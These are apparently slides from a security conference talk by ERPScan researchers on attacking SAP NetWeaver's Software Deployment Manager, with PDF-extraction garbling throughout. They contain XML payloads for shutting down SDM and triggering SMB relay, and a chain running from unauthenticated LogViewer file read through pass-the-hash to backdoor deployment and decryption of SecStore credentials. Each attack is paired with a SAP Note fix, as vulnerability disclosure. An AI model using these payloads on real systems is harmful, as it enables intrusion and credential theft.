injec&ng(evil(code(in(your(sap(j2ee(systems:( security… · business!applicaon!...

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Injec&ng evil code in your SAP J2EE systems: Security of SAP So<ware Deployment Server Alexander Polyakov CTO Dmitry Chastukhin Director of SAP pentest/research team ERPScan

Alexander Polyakov

•  CTO of the ERPScan company •  EAS-‐SEC.org project leader •  Business applica@on security expert •  R&D Professional of the year by Network Products Guide •  Organizer of ZeroNights conference

TwiKer: @sh2kerr

erpscan.com 2 ERPScan — invest in security to secure investments

Business applica@on security expert

Yet another security researcher

3 erpscan.com ERPScan — invest in security to secure investments

Dmitry Chastukhin

ERPScan: innova&ve company

•  Developing soQware for SAP security monitoring

•  Providing SAP/ERP security trainings and consul@ng •  Invited to talk at more than 40 key security conferences

worldwide (BlackHat, RSA, Defcon, HITB) •  First to develop soQware for NetWeaver J2EE assessment Research team with experience in different areas of security from ERP and web security to mobile, embedded devices, and cri9cal infrastructure, accumula9ng their knowledge on SAP research.


Leading SAP AG partner in the field of discovering security vulnerabili&es by the number of found vulnerabili&es (25 %)

SAP

Вставьте рисунок на слайд, скруглите верхний левый и нижний правый угол (Формат – Формат рисунка), добавьте контур (оранжевый, толщина – 3)


•  The most popular business applica@on •  More than 250000 customers worldwide •  83 % Forbes 500 companies run SAP •  Main system – ERP •  3 pla|orms

‒  NetWeaver ABAP ‒  NetWeaver J2EE ‒  BusinessObjects

SAP insecurity

Espionage •  Stealing financial informa@on •  Stealing corporate secrets •  Stealing supplier and customer lists •  Stealing HR data

Fraud •  False transac@ons •  Modifica@on of master data

Sabotage •  Denial of service •  Modifica@on of financial reports •  Access to technology network (SCADA) by trust rela@ons


0

100

200

300

400

500

600

700

800

900

2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014


More than 2800 in total

SAP vulnerabili&es

Source: SAP Security in Figures

Is it remotely exploitable?

> 5000 non-‐web SAP services exposed in the world including Dispatcher, Message Server, Sap Host Control, etc.


sapscan.com

What about other services?

0

1

2

3

4

5

6

7

8

9

SAP Dispatcher SAP MMC SAP Message Server SAP HostControl SAP ITS Agate SAP Message Server httpd


Source: SAP Security in Figures

SAP applica&on servers

•  SAP NetWeaver ABAP •  SAP NetWeaver J2EE

–  SAP Portal –  SAP Solu@on Manager –  SAP NetWeaver Development Infrastructure (NWDI)

•  SAP BusinessObjects •  SAP HANA Extended Applica@on Services •  SAP SUP •  SAP Fiori


SAP NetWeaver development infrastructure

•  Design Time Repository (DTR) •  Component Build Service (CBS) •  Change Management Service (CMS) •  SoQware Landscape Directory (SLD) / NS •  SoQware Deployment Manager (SDM)


So<ware Deployment Manager

•  Single interface for the deployment •  Deploy apps (*.ear, *.war, *.sda) •  Implement custom patches


SDM server

•  Different server modes –  Standalone –  Integrated

•  Only one user at a @me •  Only the hardcoded admin user •  Three ports:

–  50017 – Admin Port –  50018 – GUI Port –  50019 – HTTP Port


SDM client

•  Browsing the distribu@on of deployed components •  Deploying and undeploying •  Log viewing


SDM adack intro

•  SAP infrastructure includes many Java services •  Almost all Java stuff uses UME •  Universal user with a password •  Only one user at a @me •  Ability to deploy evil code => plus, see point 1


SDM adack intro

•  Thick client Java applica@on (sad story) •  Scarce communica@ons se�ngs •  Difficult to intercept •  Custom protocols


SDM adack intro

•  SAP has its own SAP Java Virtual Machine (JVM) •  Java 6 has AKach API •  AKach to another running JVM •  Intercept and modify calls


Adack SAP SDM. DoS

•  If an aKacker uses an incorrect password 3 @mes, the server will shutdown automa@cally

•  Also, if you send this request, you can shutdown the SDM server manually:

[10 spaces]56<?xml version="1.0"?> <ShutDownRequest></ShutDownRequest>


Adacking SAP SDM. SMB relay

Packed:

[10 Spaces]<?xml version="1.0"?> <FileAccessRequest f="\\ip_addr\blabla"> </FileAccessRequest>

An old trick, but some@mes it’s very useful


Preven&on

•  Install Note 1724516 •  Enable the security features of SDM •  SDM server and SDM client need to be updated

hKps://websmp205.sap-‐ag.de/~sapidb/012006153200000493902012E/SDM_EnablingSecurity.pdf


From Nobody to Administrator

Now, I will show an interes9ng aAack

Compromise some SAP services

Compromise SAP SDM

Compromise SAP server OS

Compromise SAP


SDM authen&ca&on abuse

•  OK. Let’s see how authen@ca@on in SDM works: –  User enters password –  Hash is calculated locally on client –  Password hash is sent to server –  Hash is compared to the hash from configura@on file

Pass the hash adack here!



RootFrame.class



…\SDM\program\config\sdmrepository.sdc



[email protected]


Adack on SAP SDM

Read sdmrepository.sdc

Get password hash

Use hash as password to authen@cate on the SDM server

Deploy backdoor on the SAP server

PROFIT!


File read

•  OS command execu@on through CTC (Notes 1467771, 1445998 ) •  XML External En@@es (Note 1619539) •  Directory Traversal (Note 1630293 ) •  Through MMC file read func@on (Notes 927637 and 1439348)

We have something new for u J


SAP LogViewer standalone

•  Open ports: 26000 (NI), 1099 (RMI), 5465 (Socket) •  You can:

–  View log on local server –  View log on remote server –  Register file as log file

Read log file without authen&ca&on!



Adack is predy easy

Connect to LogViewer standalone server

Register sdmrepository.sdc file as log file

Read it



When we have a password hash, we can use it as password to authen@cate on the SDM server


Preven&on

•  Install Note 1685106 •  Enable the security features of the Standalone LogViewer Server and client •  LogViewer server and client need to be updated


SDM intrusion

Full info about the SDM repository


Bypassing SDM restric&ons

•  Observe all server directories •  Read arbitrary files via LogViewer


SDM undeploying

Undeploy any applica@on


SDM backdooring

Deploy any applica@on


SDM backdooring

•  before

•  aQer


SDM post-‐exploita&on


Preven&on

•  Install Note 1724516 •  Enable the security features of SDM •  SDM server and SDM client need to be updated

hKps://websmp205.sap-‐ag.de/~sapidb/012006153200000493902012E/SDM_EnablingSecurity.pdf


“The SoEware Deployment Manager (SDM) uses the database connec9on informa9on, the J2EE Engine administrator user and password from the secure storage in the file system, to connect to the J2EE Engine and perform tasks such as soEware deployment and undeployment.”

hKp://help.sap.com/saphelp_nw70ehp1/helpdata/en/3d/2e104202795e33e10000000a155106/content.htm

Wow! J2EE Engine administrator user and password

Where is all this stuff located?

SAP SecStore


SAP SecStore


“By default, the J2EE Engine stores secure data in the file \usr\sap\<SID>\SYS\global\security\data\SecStore.proper9es in the file system.”

“The J2EE Engine uses the SAP Java Cryptography Toolkit to encrypt the contents of the secure store with the tripleDES algorithm.”

hKp://help.sap.com/saphelp_nw70ehp1/helpdata/en/3d/2e104202795e33e10000000a155106/content.htm

OK. Let’s try to read SecStore.proper9es

SAP SecStore


•  We can execute any OS command (we have our backdoor) •  We know the SAP J2EE Engine stores the database

user SAP<SID>DB; its password is here:

\usr\sap\<SID>\SYS\global\security\data\SecStore.properties

•  It’s all that we need

$internal/version=Ni4zFF4wMSeaseforCCMxegAfx admin/host/TTT=7KJuOPPs/+u+14jM7uy7cy7exrZuYvevkSrPxwueur2445yxgBS

admin/password/TTT=7KJuOPPs/+uv+14j56vDc7M7v7dytbGbkgqDp+QD04b0Fh

jdbc/pool/TTT=7KJuOPPs/+u5jM6s1cvvgQ1gzFvarxuUzEJTHTJI0VGegH

admin/port/TTT=7KJuOPPs/+u+1j4vD1cv6ZTvd336rzEd7267Rwr4ZUgRTQ

$internal/check=BJRrzfjeUA+bw4XCzdz16zX78ufbt

$internal/mode=encrypted

admin/user/TTT=7KJuOPPs/+u+14j6s14sTxXU3ONl3rL6N7yssV75eC6/5S3E

SecStore.proper&es


But where is the key?

Get the password

•  We have an encrypted password •  We have a key to decrypt it


We got the J2EE admin and JDBC login:password!

Preven&on

Restrict read access to files SecStore.proper9es and SecStore.key hKp://help.sap.com/saphelp_nw73ehp1/helpdata/en/cd/14c93ec2f7df6ae10000000a114084/content.htm


Post-‐exploita&on


SDM hacking demo


Conclusion

It is possible to protect yourself from these kinds of issues, and we are working closely with SAP to keep customers secure

SAP Guides

It’s all in your hands

Regular security assessments

ABAP code review

Monitoring technical security

Segrega&on of Du&es

Security events monitoring

Future work

I'd like to thank SAP's Product Security Response Team for the great coopera9on to make SAP systems more secure. Research is always ongoing, and we can't share all of it today. If you want to be the first to see new aAacks and demos, follow us at @erpscan and aAend future presenta9ons.


Web: www.erpscan.com e-‐mail: [email protected] TwiKer: @erpscan @_chipik @sh2kerr

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